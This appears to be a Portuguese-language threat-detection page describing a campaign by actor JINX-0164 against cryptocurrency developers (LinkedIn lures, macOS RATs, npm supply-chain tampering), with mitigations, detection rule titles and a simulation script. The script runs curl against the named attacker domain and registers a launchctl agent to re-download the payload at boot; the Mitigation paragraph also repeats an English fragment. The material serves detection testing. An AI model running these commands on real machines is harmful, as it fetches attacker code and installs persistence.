Infraestrutura de Desenvolvimento de Software Cripto Alvo de Novo Ameaçador
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um ator de ameaças motivado financeiramente, rastreado como JINX-0164, está visando desenvolvedores de criptomoedas por meio de engenharia social no LinkedIn, malware para macOS e comprometimento de CI/CD. O grupo implanta um RAT personalizado em Python conhecido como AUDIOFIX e uma backdoor baseada em Go chamada MINIRAT, ambos configurados para se comunicarem com domínios de comando e controle embutidos. Após ganhar acesso, os atacantes roubam credenciais de nuvem e desenvolvimento, adulteram repositórios de código e até publicam pacotes npm maliciosos para expandir o acesso e permitir o roubo de criptomoedas. A campanha reflete uma ameaça sofisticada à cadeia de suprimentos direcionada ao ciclo de vida do desenvolvimento de software.
Investigação
O Wiz CIRT acompanhou a intrusão desde o contato inicial no LinkedIn até a entrega de links maliciosos, execução de cargas úteis para macOS, roubo de credenciais e movimento lateral em repositórios de código-fonte. Sua investigação revelou scripts de dropper, persistência por meio de launchctl, e o uso da ferramenta nord-stream para exfiltração de segredos. Os pesquisadores também identificaram múltiplos domínios falsificados, nós de saída VPN, e um comprometimento na cadeia de suprimentos envolvendo o pacote npm @velora-dex/sdk . Caminhos de arquivos, hashes, domínios e endereços IP foram coletados para suportar a detecção e caça de ameaças.
Mitigação
As defesas recomendadas incluem monitoramento de sistemas macOS para persistência, detecção de LaunchAgents suspeitos, e bloqueio de domínios maliciosos conhecidos e servidores de comando e controle. As organizações devem impor commits assinados, habilitar o GitHub Vigilant Mode e observar commits não verificados ou mudanças incomuns em fluxos de trabalho de CI/CD. O uso de VPN deve ser limitado a provedores aprovados, e MFA deve ser exigido para contas de nuvem e plataformas de desenvolvimento. launchctl persistence, detecting suspicious LaunchAgents, and blocking the known malicious domains and command-and-control servers. Organizations should enforce signed commits, enable GitHub Vigilant Mode, and watch for unverified commits or unusual CI/CD workflow changes. VPN use should be limited to approved providers, and MFA should be required for cloud accounts and development platforms.
Resposta
Se esta atividade for detectada, isole imediatamente o sistema macOS afetado, colete artefatos forenses, e revogue quaisquer credenciais e tokens de API comprometidos. As equipes de segurança devem realizar uma revisão completa dos repositórios de código para commits maliciosos e remover quaisquer pacotes npm comprometidos. Os domínios de comando e controle identificados devem ser bloqueados, e as regras de firewall devem ser atualizadas para negar tráfego aos endereços IP maliciosos. As partes interessadas relevantes devem ser notificadas, e a troca de inteligência sobre ameaças com parceiros confiáveis da indústria deve ser considerada.
Fluxo de Ataque
Ainda estamos atualizando esta parte. Inscreva-se para ser notificado
Notifique-meDetecções
Download de Arquivo Suspeito IP Direto (via proxy)
Ver
Tentativa de Comunicação de Domínio de IP Lookup Possível (via dns)
Ver
Tentativa de Execução de Launchctl macOS (via linha de comando)
Ver
Execução Possível por Uso de chmod e nohup em Comando Único (via linha de comando)
Ver
Manipulação Possível de Strings Codificadas em Base64 [macOS] (via linha de comando)
Ver
Tentativa de Execução de Curl Suspeita [macOS] (via linha de comando)
Ver
IOCs (HashSha256) para detectar: Compromisso de Commit: Um Novo Ator de Ameaça Visando a Infraestrutura de Desenvolvimento de Software da Indústria de Criptomoedas
Ver
IOCs (SourceIP) para detectar: Compromisso de Commit: Um Novo Ator de Ameaça Visando a Infraestrutura de Desenvolvimento de Software da Indústria de Criptomoedas
Ver
IOCs (DestinationIP) para detectar: Compromisso de Commit: Um Novo Ator de Ameaça Visando a Infraestrutura de Desenvolvimento de Software da Indústria de Criptomoedas
Ver
Detecção de Persistência de Malware AUDIOFIX e Download de Carga Útil [Criação de Processo Linux]
Ver
Execução de Simulação
Pré-requisito: O Cheque Preliminar de Telemetria e Base já deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e buscar gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa & Comandos do Ataque:
- Ponto de acesso inicial: Um atacante envia um email de phishing contendo um link malicioso (T1566.004). A vítima clica no link, que aponta para
https://apple.driver-update.io/troubleshoot/mac/audio-issue-fix.sh. - Download de carga útil: O terminal da vítima executa um
comando curlque busca silenciosamente o script. - Configuração de persistência: O script registra um agente de lançamento usando
launchctl submit, incorporando o mesmocomando curlcomando para que a carga útil seja re‑baixada a cada inicialização (T1546.006). - Execução: O agente de lançamento opera com privilégios de sistema, executando o script baixado para comprometer o host.
- Ponto de acesso inicial: Um atacante envia um email de phishing contendo um link malicioso (T1566.004). A vítima clica no link, que aponta para
-
Script de Teste de Regressão: (execute em uma máquina de teste macOS; requer direitos de administrador)
#!/bin/bash set -euo pipefail # 1. Simula o download malicioso do curl (sem código malicioso real) MALICIOUS_URL="https://apple.driver-update.io/troubleshoot/mac/audio-issue-fix.sh" curl -fsSL "$MALICIOUS_URL" -o /tmp/audio-fix.sh # 2. Registre um agente de lançamento que re‑baixe o script na inicialização launchctl submit -l com.malicious.audiofix -p /usr/bin/curl -a -c -t "30" /usr/bin/curl -fsSL "$MALICIOUS_URL" -o /tmp/audio-fix.sh echo "Agente de lançamento malicioso registrado. Verifique o SIEM para detecção." -
Comandos de Limpeza:
# Remova o agente de lançamento launchctl remove com.malicious.audiofix || true # Exclua o script baixado rm -f /tmp/audio-fix.sh echo "Limpeza completa."
Fim do Relatório